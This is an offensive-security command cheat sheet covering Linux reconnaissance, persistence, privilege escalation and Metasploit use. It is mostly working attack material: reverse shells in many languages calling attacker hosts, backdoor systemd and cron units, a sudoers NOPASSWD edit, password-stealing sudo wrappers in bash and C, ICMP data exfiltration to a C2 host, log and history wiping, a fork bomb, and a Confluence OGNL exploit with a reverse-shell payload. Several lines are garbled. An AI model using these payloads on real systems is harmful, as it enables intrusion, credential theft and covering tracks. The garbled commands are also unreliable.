id
w
who -a
last -a
ps -ef
df -h
uname -a
mount
cat /etc/issue
cat /etc/*-release
cat /etc/release
cat /proc/version
Search for useful binaries:
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
chattr (+/-)i file
unset HISTFILE
unset HISTFILESIZE
unset HISTSIZE
TERM=vt100
export TERM
echo "" /var/log/auth.log
echo '''' -/.bash history
kill -9 $$
ln /dev/null -/.bash_history -sf
Linux:
:(){:I: &I;:
Python:
#!/usr/bin/env python
import os
while True: os.fork()
tcpdump -i ethO -XX -w out.pcap
tcpdump -i ethO port XX dst X.X.X.X
echo "* * * * * /bin/nc <attacker IP> 1234 -e /bin/bash" > cron && crontab cron
On the attack platform: nc -lvp 1234
Place a service file in ~/.config/systemd/user/
vim ~/.config/systemd/user/persistence.service
Sample file:
[Unit]
Description=Reverse shell[Service]
ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/9999 0>&1'
Restart=always
RestartSec=60[Install]
WantedBy=default.target
Enable service and start service:
systemctl --user enable persistence.service
systemctl --user start persistence.service
On the next user login systemd will happily start a reverse shell.
udev
rules in Linux are configuration files that allow the system to dynamically manage device files in the /dev directory. These rules can trigger specific actions or scripts when devices are added, removed, or change state. By matching attributes like device type, vendor ID, or kernel name, udev rules help automate tasks related to hardware events, making device management more flexible and customizable.
Example:
- First, create a new rule file under
/etc/udev/rules.d/
:
KERNEL=="random", SUBSYSTEM=="char", ACTION=="add", RUN+="/usr/local/bin/random-persistence.sh"
- After saving the rule file, reload the
udev
rules:
sudo udevadm control --reload-rules
sudo udevadm trigger
Systemd-timers are similar to cron jobs but offer more flexibility and integration with systemd. These can be harnessed to execute a script or binary at specified intervals or times, maintaining persistence on a compromised system.
- Create a Timer Unit File
# /etc/systemd/system/shout.timer
[Unit]
Description=Shout Timer
[Timer]
OnBootSec=5min
OnUnitActiveSec=1h
[Install]
WantedBy=timers.target
- Create a Corresponding Service Unit File
# /etc/systemd/system/shout.service
[Unit]
Description=Shout Service
[Service]
Type=simple
ExecStart=/bin/bash /tears/for/fears/shout.sh
- Enable and Start the Timer
sudo systemctl enable shout.timer
sudo systemctl start shout.timer
Add to .bashrc
function sudo() {
realsudo="$(which sudo)"
read -s -p "[sudo] password for $USER: " inputPasswd
printf "\n"; printf '%s\n' "$USER : $inputPasswd\n" >> /tmp/log13999292.log
$realsudo -S <<< "$inputPasswd" -u root bash -c "exit" > /dev/null 2>&1
$realsudo "${@:1}"
xxd -p -c 4 /path/exfil_file | while read line; do ping -c 1 -p $line <C2 IP>; done
echo "%sudo ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
Finding server strings from a file of URLs
curl -s --head -K servers.txt | grep -i server
getcap displays the name and capabilities of each specified file. -r
enables recursive search.
getcap -r / 2>/dev/null
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
find /dir -xdev -perm +o=w ! \( -type d -perm +o=t \) ! -type l -print
To use this regex expression on the webpage, prepend and append a /
to the expression:
^github_pat_[A-Za-z0-9_]+$
grep -irE '(password|pwd|pass)[[:space:]]*=[[:space:]]*[[:alpha:]]+' *
The regex is a POSIX ERE expression that matches
- (password|pwd|pass) - either password or pwd or pass
- [[:space:]]=[[:space:]] - a = enclosed with 0 or more whitespaces
- [[:alpha:]]+ - 1 or more letters.
To output matches, add -o option to grep
Memory:
strings -n 10 /dev/mem | grep -i pass
Core Dump:
# Find PID
root@RoseSecurity# ps -eo pid,command
# Core dump PID
root@RoseSecurity# gcore <pid> -o dumpfile
# Search for passwords
root@RoseSecurity# strings -n 5 dumpfile | grep -i pass
Struggling to find a command that you are looking for? Try the man -k
option!
$ man -k ssh
git-shell(1) - Restricted login shell for Git-only SSH access
scp(1) - OpenSSH secure file copy
sftp(1) - OpenSSH secure file transfer
sftp-server(8) - OpenSSH SFTP server subsystem
ssh(1) - OpenSSH remote login client
ssh-add(1) - adds private key identities to the OpenSSH authentication agent
ssh-agent(1) - OpenSSH authentication agent
getent
is a Unix command that helps a user get entries in a number of important text files called databases. This includes the passwd and group databases which store user information – hence getent is a common way to look up user details on Unix.
getent passwd <username>
Uses crt.sh to identify certificates for target domain before screenshotting and actively scanning each webpage for login forms to use common credentials on.
root@RoseSecurity:~# curl -s 'https://crt.sh/?q=<Website_You_Want_To_Enumerate>&output=json' | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u > ~/URLs.txt; eyewitness -f ~/URLs.txt --active-scan
Below are useful Nmap scripts and their descriptions. You can find a full list of available scripts here:
-
sshv1
: Checks if an SSH server supports the obsolete and less secure SSH Protocol Version 1. -
DHCP discover
: Sends a DHCPINFORM request to a host on UDP 67 to obtain all the local configuration parameters without allocating a new address. -
ftp-anon
: Checks if an FTP server allows anonymous logins. -
ftp-brute
: Performs brute force password auditing against FTP servers. -
http-enum
: Enumerates directories used by popular web applications and servers. -
http-passwd
: Checks if a webserver is vulnerable to directory traversal by attempting to retrieve etc/passwd or \boot(ini). -
http-methods
: Finds out what options are supported by an HTTP server by sending an OPTIONS request. -
ms-sql-info
: Attempts to determine configuration and version information for Microsoft SQL server instances. -
mysql-enum
: Performs valid-user enumeration against MySQL server using a bug. -
NSF-showmount
: Shows NFS exports, like the showmount -e command. -
rdp-enum-encryption
: Determines which encryption level is supposed by the RDP service. -
smb-enum-shares
: Attempts to list shares. -
tftp-enum
: Enumerates TFTP filenames by testing for a list of common ones.
ifconfig -a | grep -Po '\b(?!255)(?:\d{1,3}\.){3}(?!255)\d{1,3}\b' | xargs nmap -A -p0-
- All nodes multicast: ff02::1
- All routers multicast: ff02::2
Locate targets with builtin ping6
command
$ ping6 ff02::1
$ ping6 ff02::2
# Look for neighbors
$ ip neigh
$ nmap -Pn -sV -6 fe80::20c0 -e eth0 --packet-trace
Utilize ndp
to enumerate all of the current ndp entries.
ndp -an
nmap -p 443 --script=ssl-enum-ciphers <Target Domain>
vim –x <filename.txt>
Enumerating ciphers and encryption weaknesses using Testssl command line tool:
Download: https://testssl.sh/
The normal use case is testssl.sh <hostname>
.
Special cases:
testssl.sh --starttls smtp <smtphost>.<tld>:587
testssl.sh --starttls ftp <ftphost>.<tld>:21
testssl.sh -t xmpp <jabberhost>.<tld>:5222
testssl.sh -t xmpp --xmpphost <XMPP domain> <jabberhost>.<tld>:5222
testssl.sh --starttls imap <imaphost>.<tld>:143
cat hosts | httpx -nc -t 300 -p 80,443,8080,8443,8888,8088 -path "/jobmanager/logs/..%252f..%252f..%252f......%252f..%252fetc%252fpasswd" -mr "root:x" -silent
If you set LD_PRELOAD to the path of a shared object, that file will be loaded before any other library (including the C runtime, libc.so)
LD_PRELOAD=/path/to/my/malicious.so /bin/ls
PROMPT_COMMAND='history -a; tail -n1 ~/.bash_history > /dev/tcp/127.0.0.1/9000'
root@rosesecurity:~# ps aux | grep bash
rick 3103 0.0 0.6 6140 3392 pts/0 Ss+ 17:14 0:00 bash
root 3199 0.0 0.6 6140 3540 pts/1 Ss 17:18 0:00 bash
root 3373 0.0 0.1 3488 768 pts/1 S+ 18:06 0:00 grep bash
Strace Options:
- –p 3103: connect to PID 3103, which above is on pts/0
- –t : print the time of day
- –e write: only capture write calls
- –q : be quiet
- –f : follow any fork (created) process
- –o keylogger.txt: output the results to a file named keylogger.txt
root@securitynik:~# strace -p 3103 -t -e write -q -f -o keylogger.txt &
[1] 3432
nc-v -u -z <IP> <Port>
sudo tcpdump 'ether host XX:XX:XX:XX:XX:XX' -i en0 -vnt > CheckScan.txt | tee CheckScan.txt | grep --line-buffered pattern | ( while read -r line; do sudo nmap -sV -n -T4 -O2 -oX NMAPScan.xml; rm CheckScan.txt; done; ) &
Windows : 128
Linux : 64
Network : 255
Solaris : 255
http://ip/level/16-99/exec/show/config
echo open ip 21 ftp.txt
echo user
echo pass
echo bin
echo GET file=tp.txt echo bfe ftp.txt
ftp -s:ftp.txt
nc 10.0.0.1 1234 -e /bin/sh Linux reverse shell
nc 10.0.0.1 1234 -e cmd.exe Windows reverse shell
Persistent Ncat listener:
ncat -lvk 443
python -c 'import socket,subprocess,os; s=socket.socket(socket..;;F_INET, socket.SOCK_STREAL1); s.connect( ("10.0.0.1",1234)); os.dup2 (s.fileno() ,0); os.dup2(s.fileno(l,1); os.dup2(s.file:oo(),2);
p~subprocess.call( 1"/bin/sh","-i"] I;'
bash -i & /dev/tcp/10.0.0.1/8080 0 &1
Download: https://github.com/scipag/vulscan
Usage:
nmap -sV --script=vulscan/vulscan.nse www.rosesecurity.com
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
Usage:
nmap --script "http-*" <IP>
nmap --script "sql-*" <IP>
nmap --script "ftp-*" <IP>
Low and slow (-T2), Fast mode (-F), Append random data to sent packets (--data-length), Randomize hosts, and verbosely conduct service detection on a file of hosts and output to XML.
nmap -T2 -F --data-length 5 --randomize-hosts -sV -v -iL (targets.txt) -oX (output.xml)
Set exclude.txt
equal to the contents of https://pastebin.com/53DP2HNV
masscan 0.0.0.0/0 -p0-65535 –excludedfile exclude.txt
Finding FTP servers that allow anonymous logons can assist in numerous red-teaming activities such as Nmap FTP bounce scans.
masscan -p 21 <IP Range> -oL ftp_servers.txt; nmap -iL ftp_servers.txt —script ftp-anon -oL open_ftp_servers.txt
Hunt for components susceptible to the Heartbleed vulnerability before exploiting the devices memory with this one-liner. This command requires an Academic Plus Shodan API key.
shodan search vuln:cve-2014-0160 --fields hostnames | awk NF > heartbleed_hosts.txt; cat heartbleed_hosts.txt | while read line; do heartbleed.py "$line"; done
sudo tcpdump -s 0 -A -n -l | egrep -i "POST /|pwd=|passwd=|password=|Host:"
# All queries
tcpdump -nt 'dst port 53 and udp[10] & 0x80 = 0'
# All responses
tcpdump -nt 'src port 53 and udp[10] & 0x80 = 0x80'
/boot/vmlinuz : The Linux Kernel file.
/dev/had : Device file for the first IDE HDD (Hard Disk Drive) /dev/hdc : Device file for the IDE Cdrom, commonly
/dev/null : A pseudo device
/etc/bashrc : System defaults and aliases used by bash shell. /etc/crontab : Cron run commands on a predefined time Interval. /etc/exports : Information of the file system available on network. /etc/fstab : Information of Disk Drive and their mount point. /etc/group : Information of Security Group.
/etc/grub.conf : grub bootloader configuration file.
/etc/init.d : Service startup Script.
/etc/lilo.conf : lilo bootloader configuration file.
/etc/hosts : Information on IP's and corresponding hostnames. /etc/hosts.allow : Hosts allowed access to services on local host. /etc/host.deny : Hosts denied access to services on local host. /etc/inittab : INIT process and interactions at various run level. /etc/issue : Allows to edit the pre-login message. /etc/modules.conf : Configuration files for system modules. /etc/motd : Message Of The Day
/etc/mtab : Currently mounted blocks information.
/etc/passwd : System users with password hash redacted. /etc/printcap : Printer Information
/etc/profile : Bash shell defaults
/etc/profile.d : Application script, executed after login. /etc/rc.d : Information about run level specific script. /etc/rc.d/init.d : Run Level Initialisation Script. /etc/resolv.conf : Domain Name Servers (DNS) being used by System. /etc/securetty : Terminal List, where root login is possible. /etc/shadow : System users with password hash.
/etc/skel : Script that populates new user home directory. /etc/termcap : ASCII file defines the behavior of Terminal. /etc/X11 : Configuration files of X-window System.
/usr/bin : Normal user executable commands.
/usr/bin/X11 : Binaries of X windows System.
/usr/include : Contains include files used by ‘c‘ program. /usr/share : Shared directories of man files, info files, etc. /usr/lib : Library files required during program compilation. /usr/sbin : Commands for Super User, for System Administration. /proc/cpuinfo : CPU Information
/proc/filesystems : File-system information being used currently. /proc/interrupts : Information about the current interrupts. /proc/ioports : All Input/Output addresses used by devices. /proc/meminfo : Memory Usages Information.
/proc/modules : Currently used kernel module.
/proc/mount : Mounted File-system Information.
/proc/stat : Detailed Statistics of the current System. /proc/swaps : Swap File Information.
/version : Linux Version Information.
/var/log/auth* : Log of authorization login attempts. /var/log/lastlog : Log of last boot process.
Create the following service descriptor at /etc/systemd/system/notmalicious.service
:
[Unit]
Description=Not a backdoor into your critical server.
[Service]
Type=simple
ExecStart=/usr/bin/nc -e /bin/bash <ATTACKER_IP> <PORT> 2>/dev/null
[Install]
WantedBy=multi-user.target
Enable the backdoor service to run on restart:
sudo systemctl enable notmalicious
Grep to remove sensitive attacker information then copy into original logs
# cat /var/log/auth.log | grep -v "<Attacker IP>" > /tmp/cleanup.log
# mv /tmp/cleanup.log /var/log/auth.log
Address space layout randomization (ASLR) is a computer security technique involved in preventing exploitation of memory corruption vulnerabilities. In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap, and libraries.
- If the following equals 0, not enabled
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
Generate SSL certificate:
openssl req -x509 -quiet -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Start an SSL listener on your attacking machine using openssl
:
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
Run the payload on target machine using openssl
:
mkfifo /tmp/s;/bin/sh -i</tmp/s 2>&1|openssl s_client -quiet -connect 127.0.0.1:4444>/tmp/s 2>/dev/null;rm /tmp/s
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Netcat port scanner
echo "" | nc -nvw2 <IP> <Port Range>
Netcat and OpenSSL banner grabbing
ncat -vC --ssl www.target.org 443
openssl s_client -crlf -connect www.target.org:443
Reverse shell:
On the attack platform:
root@attacker# socat file:`tty`,raw,echo=0 tcp-listen:5555
On the victim platform:
user@victim $ socat tcp-connect:<Attacker IP>:5555 exec:/bin/sh,pty,stderr,setsid,sigint,sane
Bind shell:
On the attack platform:
root@attacker# socat FILE:`tty`,raw,echo=0 TCP:<Target IP>:5555
On the victim platform:
user@victim $ socat TCP-LISTEN:5555,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Passwords can be found in many places
# Process lists
user@victim $ ps -efw
# Usernames entered into login prompt by mistake
user@victim $ last -f /var/log/bmtp
# Usernames entered into command line arguments
user@victim $ cat /home/*/.*history
# Passwords saved in web files
user@victim $ grep -iR password /var/www
# SSH keys
user@victim $ cat /home/*/.ssh/id*
Enumerate password and account information with chage
user@victim $ chage -l
Look in /etc/passwd for new accounts in a sorted list:
user@RoseSecurity $ sort -nk3 -t: /etc/passwd | less
Look for users with a UID of 0:
user@RoseSecurity $ grep :0: /etc/passwd
Various information leak vulnerabilities exist in fingerd implementations. A popular attack involves issuing a '1 2 3 4 5 6 7 8 9 0' request against a Solaris host running fingerd.
# finger '1 2 3 4 5 6 7 8 9 0'@192.168.0.10
[192.168.0.10]
Login Name TTY Idle When Where
root Super-User console <Jun 3 17:22> :0
admin Super-User console <Jun 3 17:22> :0
daemon ??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
adm Admin < . . . . >
lp Line Printer Admin < . . . . >
uucp uucp Admin < . . . . >
nuucp uucp Admin < . . . . >
listen Network Admin < . . . . >
nobody Nobody < . . . . >
Performing a finger user@target.host request is especially effective against Linux, BSD, Solaris, and other Unix systems, because it often reveals a number of user accounts.
# finger user@192.168.189.12
Login: ftp Name: FTP User
Directory: /home/ftp Shell: /bin/sh
Never logged in.
No mail.
No Plan.
Login: samba Name: SAMBA user
Directory: /home/samba Shell: /bin/null
Never logged in.
No mail.
No Plan.
Login: test Name: test user
Directory: /home/test Shell: /bin/sh
Never logged in.
No mail.
No Plan.
Poorly written fingerd implementations allow attackers to pipe commands through the service, which are, in turn, run on the target host by the owner of the service process (such as root or bin under Unix-based systems).
# finger "|/bin/id@192.168.0.135"
[192.168.0.135]
uid=0(root) gid=0(root)
Latency jumps in Traceroute values can identify geographic data:
1 ms – within your LAN
25 ms – my home cable service in London to servers located in mainland UK
90 ms – typical home DSL in the US to google.com
100-150 ms – the transatlantic cable between the UK and New York state
600-2000 ms – typical VSAT remote to hub link
source: https://www.tolaris.com/2008/10/09/identifying-undersea-fibre-and-satellite-links-with-traceroute/
Look up vendor MAC you want to impersonate: https://mac2vendor.com/
Change MAC:
sudo ifconfig <interface-name> down
sudo ifconfig <interface-name> hw ether <new-mac-address>
sudo ifconfig <interface-name> up
Resources:
https://www.routerpasswords.com
Use AutoRunScript to run commands on a reverse shell callback
set AutoRunScript multi_console_command -rc /root/commands.rc
/root/commands.rc
contains the commands you wish to run
Example:
run post/windows/manage/migrate
run post/windows/manage/killfw
run post/windows/gather/checkvm
Although there are several resource scripts that are available through the framework, you may want to build a custom script of your own. For example, if you routinely run a specific exploit and payload combination against a target, you may want to create a resource script to automate these commands for you. Since this example uses purely msfconsole
commands, the easiest way to create a resource script is through the makerc
command available in msfconsole
. The makerc
command records all of the commands you've run in the console and saves them in a resource script for you.
msf > workspace demo
msf > use exploit/windows/smb/ms08_067_netapi
msf (ms08_067_netapi) > set RHOST 192.168.1.1
msf (ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
msf (ms08_067_netapi) > exploit
To save these commands to a resource script, we can use the makerc
command. We'll need to provide the output location and name we want the script to use:
msf (ms08_067_netapi) > makerc ~/Desktop/myscript.rc
List all sessions
msf6> sessions
Execute command across all sessions
msf6> sessions -C <command>
Kill all sessions
msf6> sessions -K
Upgrade a shell to a meterpreter session on many platforms
msf6> sessions -u
In order to save a lot of typing during a pentest, you can set global variables within msfconsole. You can do this with the setg command. Once these have been set, you can use them in as many exploits and auxiliary modules as you like. You can also save them for use the next time you start msfconsole. However, the pitfall is forgetting you have saved globals, so always check your options before you run or exploit. Conversely, you can use the unsetg command to unset a global variable. In the examples that follow, variables are entered in all-caps (ie: LHOST), but Metasploit is case-insensitive so it is not necessary to do so.
msf > setg LHOST 192.168.1.101
LHOST => 192.168.1.101
msf > setg RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > setg RHOST 192.168.1.136
RHOST => 192.168.1.136
To capture the output of modules ran within Metasploit, utilize the spool command and designate a destination log file.
msf6> spool /tmp/Company_A_DC.log
Enable RDP:
meterpreter > run getgui -u rosesecurity -p password
Cleanup RDP:
meterpreter > run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20110112.2448.rc
Run modules against file of hosts:
msf6> set RHOSTS file:/tmp/nmap_output_hosts.txt
Search for interesting files:
meterpreter> search -f *.txt
meterpreter> search -f *.zip
meterpreter> search -f *.doc
meterpreter> search -f *.xls
meterpreter> search -f config*
meterpreter> search -f *.rar
meterpreter> search -f *.docx
meterpreter> search -f *.sql
Metasploit Web Server Interface:
Start the web service, listening on any host address:
# msfdb --component webservice --address 0.0.0.0 start
Metasploit Email Harvesting:
msf6 auxiliary(gather/search_email_collector) > set OUTFILE /tmp/emails.txt
OUTFILE => /tmp/emails.txt
msf6 auxiliary(gather/search_email_collector) > set DOMAIN target.com
DOMAIN => target.com
msf6 auxiliary(gather/search_email_collector) > run
[*] Harvesting emails.....
Attack outside of the LAN with ngrok:
First step, set up a free account in ngrok then start ngrok:
./ngrok tcp 9999
# Forwarding tcp://0.tcp.ngrok.io:19631 -> localhost:9999
Create malicious payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=19631 -f exe > payload.exe
Start listener:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0 set
LPORT 9999
exploit
Ingest Other Tools' Output Files:
# Start database
$ sudo systemctl start postgresql
# Initialize Metasploit database
$ sudo msfdb init
# Start msfconsole
$ msfconsole -q
msf6 >
# Help menu
msf6 > db_import -h
# Import other tool's output
msf6 > db_import ~/nmap_scan.xml
[*] Importing NMAP XML data
[*] Successfully imported /home/kali/nmap_scan.xml
CVE-2022-26314 is an unauthenticated and remote OGNL injection vulnerability resulting in code execution in the context of the Confluence server (typically the confluence user on Linux installations). Given the nature of the vulnerability, internet-facing Confluence servers are at very high risk.
As stated, the vulnerability is an OGNL injection vulnerability affecting the HTTP server. The OGNL payload is placed in the URI of an HTTP request. Any type of HTTP method appears to work, whether valid (GET, POST, PUT, etc) or invalid (e.g. “BALH”). In its simplest form, an exploit abusing the vulnerability looks like this:
curl -v http://10.0.0.28:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/
Above, the exploit is URL-encoded. The exploit encompasses everything from the start of the content location to the last instance of /. Decoded it looks like this:
${@java.lang.Runtime@getRuntime().exec("touch /tmp/r7")}
Reverse Shell:
curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.28/1270%200%3E%261%27%29.start%28%29%22%29%7D/
Decoded:
${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/10.0.0.28/1270 0>&1').start()")}
POP Commands:
USER rosesecurity Log in as "rosesecurity"
PASS password Substitue "password" for your actual password
STAT List number of messages, total mailbox size
LIST List messages and sizes
RETR n Show message n
DELE n Mark message n for deletion
RSET Undo any changes
QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
Forwards one local port to multiple remote hosts; it is useful for accessing multiple systems.
ssh -D 9000 RoseSecurity@pivot.machine
Now, an attacker could utilize a SOCKS proxy or proxychains to access the systems.
proxychains smbclient -L fileserver22
The pdbedit
program is used to manage the users accounts stored in the sam database and can only be run by root. There are five main ways to use pdbedit: adding a user account, removing a user account, modifying a user account, listing user accounts, importing users accounts.
Options:
Lists all the user accounts present in the users database. This option prints a list of user/uid pairs separated by the ':' character.
# pdbedit -L
sorce:500:Simo Sorce
samba:45:Test User
Enables the verbose listing format. It causes pdbedit to list the users in the database, printing out the account fields in a descriptive format.
# pdbedit -L -v
---------------
username: sorce
user ID/Group: 500/500
user RID/GRID: 2000/2001
Full Name: Simo Sorce
Home Directory: \\BERSERKER\sorce
HomeDir Drive: H:
Logon Script: \\BERSERKER\netlogon\sorce.bat
Profile Path: \\BERSERKER\profile
---------------
username: samba
user ID/Group: 45/45
user RID/GRID: 1090/1091
Full Name: Test User
Home Directory: \\BERSERKER\samba
HomeDir Drive:
Logon Script:
Profile Path: \\BERSERKER\profile
Sets the "smbpasswd" listing format. It will make pdbedit list the users in the database, printing out the account fields in a format compatible with the smbpasswd file format.
# pdbedit -L -w
sorce:500:508818B733CE64BEAAD3B435B51404EE:
D2A2418EFC466A8A0F6B1DBB5C3DB80C:
[UX ]:LCT-00000000:
samba:45:0F2B255F7B67A7A9AAD3B435B51404EE:
BC281CE3F53B6A5146629CD4751D3490:
[UX ]:LCT-3BFA1E8D:
Suppose you have an SSH tunnel, and you want to copy a file to the remote machine. You could just scp it directly, but that opens up another connection. The goal is to re-use the existing connection. You can use ncat to do this:
# This is port forwarding, sending everything from port 31000 on the remote machine to the same port on the local machine
$ ssh -L 31000:127.0.0.1:31000
# On the remote system:
$ ncat -lvnp 31000 127.0.0.1 > file
# On the local system:
$ ncat -v -w 2 127.0.0.1 31000 < file
No extra overhead. TCP takes care of error correction. SSH has already encrypted the pipe.
# Read a PCAP file
$ tshark -r <pcap> 'ntlmssp.auth.username' | awk '{print $13}' | sort -u
# Active interface
$ tshark -i <interface> 'ntlmssp.auth.username' | awk '{print $13}' | sort -u
#!/usr/bin/env bash
#
# Access information on IP Addresses
#
# Color Output
NC='\033[0m'
RED='\033[0;31m'
GREEN='\033[0;32m'
ip=$1
ipinfo () {
if [ -z ip ]; then
echo -e "\n${RED}No IP Address Provided${NC}"
else
echo -e "\n${GREEN} IP Information for: $ip ${NC}"
curl ipinfo.io/$ip/json
fi
}
ipinfo
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent https://site-to-download.com
Here are the switches:
--mirror - applies a number of options to make the download recursive.
--no-parent – Do not crawl the parent directory in order to get a portion of the site only.
--convert-links - makes all the links to work properly with the offline copy.
--page-requisites - download JS and CSS files to retain the original page style when browsing a local mirror.
--adjust-extension - adds the appropriate extensions (e.g. html, css, js) to files if they were retrieved without them.
export https_proxy=https://127.0.0.1:8080
wget -r -P /tmp --no-check-certificate -e robots=off ‐‐recursive ‐‐no-parent http://example.com/
To prevent a user from seeing all the processes running on a system, mount the /proc file system using the hidepid=2 option:
$ sudo mount -o remount,rw,nosuid,nodev,noexec,relatime,hidepid=2 /proc
# 2: Process files are invisible to non-root users. The existence of a process can be learned by other means, but its effective user ID (UID) and group ID (GID) are hidden.
To extract a file, read in a file, use the --export-objects flag and specify the protocol and directory to save the files. Without -Q, tshark will read packets and send to stdout even though it is exporting objects.
tshark -Q -r $pcap_file --export-objects $protocol,$dest_dir
Supported Protocols:
dicom: medical image
http: web document
imf: email contents
smb: Windows network share file
tftp: Unsecured file
Karmetasploit is a great function within Metasploit, allowing you to fake access points, capture passwords, harvest data, and conduct browser attacks against clients.
Install Karmetasploit configuration:
root@RoseSecurity:~# wget https://www.offensive-security.com/wp-content/uploads/2015/04/karma.rc_.txt
root@RoseSecurity:~# apt update
Install and configure sqlite and DHCP server:
root@RoseSecurity:~# apt -y install isc-dhcp-server
root@RoseSecurity:~# vim /etc/dhcp/dhcpd.conf
root@RoseSecurity:~# apt -y install libsqlite3-dev
root@RoseSecurity:~# gem install activerecord sqlite3
Now we are ready to go. First off, we need to locate our wireless card, then start our wireless adapter in monitor mode with airmon-ng. Afterwards we use airbase-ng to start a new wireless network.
# Locate interface
root@RoseSecurity:~# airmon-ng
# Start monitoring
root@RoseSecurity:~# airmon-ng start wlan0
# Start AP
root@RoseSecurity:~# airbase-ng -P -C 30 -e "Fake AP" -v wlan0mon
# Assign IP to interface
root@RoseSecurity:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
Before we run our DHCP server, we need to create a lease database, then we can get it to listening on our new interface.
root@RoseSecurity:~# touch /var/lib/dhcp/dhcpd.leases
root@RoseSecurity:~# dhcpd -cf /etc/dhcp/dhcpd.conf at0
Run Karmetasploit:
root@RoseSecurity:~# msfconsole -q -r karma.rc_.txt
At this point, we are up and running. All that is required now is for a client to connect to the fake access point. When they connect, they will see a fake ‘captive portal’ style screen regardless of what website they try to connect to. You can look through your output, and see that a wide number of different servers are started. From DNS, POP3, IMAP, to various HTTP servers, we have a wide net now cast to capture various bits of information.
Use interface eth0 (-i eth0) in promiscuous mode (-p), saving the results to a file (-o /tmp/p0f.log):
root@RoseSecurity:~# p0f -i eth0 -p -o /tmp/p0f.log
-- p0f 3.09b by Michal Zalewski <lcamtuf@coredump.cx> ---
[+] Closed 1 file descriptor.
[+] Loaded 322 signatures from '/etc/p0f/p0f.fp'.
[+] Intercepting traffic on interface 'eth0'.
[+] Default packet filtering configured [+VLAN].
[+] Log file '/tmp/p0f.log' opened for writing.
[+] Entered main event loop.
.-[ 172.16.0.23/35834 -> 172.16.0.79/22 (syn) ]-
|
| client = 172.16.0.23/35834
| os = Linux 4.11 and newer
| dist = 0
| params = none
| raw_sig = 4:64+0:0:1460:mss*20,7:mss,sok,ts,nop,ws:df,id+:0
Display a message if the tcp port is 22:
if (ip.proto == TCP) {
if (tcp.src == 22 || tcp.dst == 22) {
msg("SSH packet\n");
}
}
Log all telnet traffic:
if (ip.proto == TCP) {
if (tcp.src == 23 || tcp.dst == 23) {
log(DATA.data, "./telnet.log");
}
}
Log ssh decrypted packets matching the regexp:
if (ip.proto == TCP) {
if (tcp.src == 22 || tcp.dst == 22) {
if (regex(DECODED.data, ".*login.*")) {
log(DECODED.data, "./decrypted_log");
}
}
}
Mimics legitimate Sudo binary to capture credentials and output to /tmp
directory file.
#include <stdio.h>
#include <stdlib.h>
#include <termios.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
int main( int argc, char *argv[] )
{
if( argc == 2 ) {
struct termios oflags, nflags;
char password[64];
char Command[255];
char *lgn;
lgn = getlogin();
struct passwd *pw;
FILE *fp;
/* disabling echo */
tcgetattr(fileno(stdin), &oflags);
nflags = oflags;
nflags.c_lflag &= ~ECHO;
nflags.c_lflag |= ECHONL;
if (tcsetattr(fileno(stdin), TCSANOW, &nflags) != 0) {
perror("tcsetattr");
return EXIT_FAILURE;
}
printf("Password: ");
fgets(password, sizeof(password), stdin);
password[strlen(password) - 1] = 0;
sprintf(Command, "sudo -S <<< %s command %s", password, argv[1]);
system(Command);
fp = fopen("/tmp/tmp-mount-sU90gRA6", "w+");
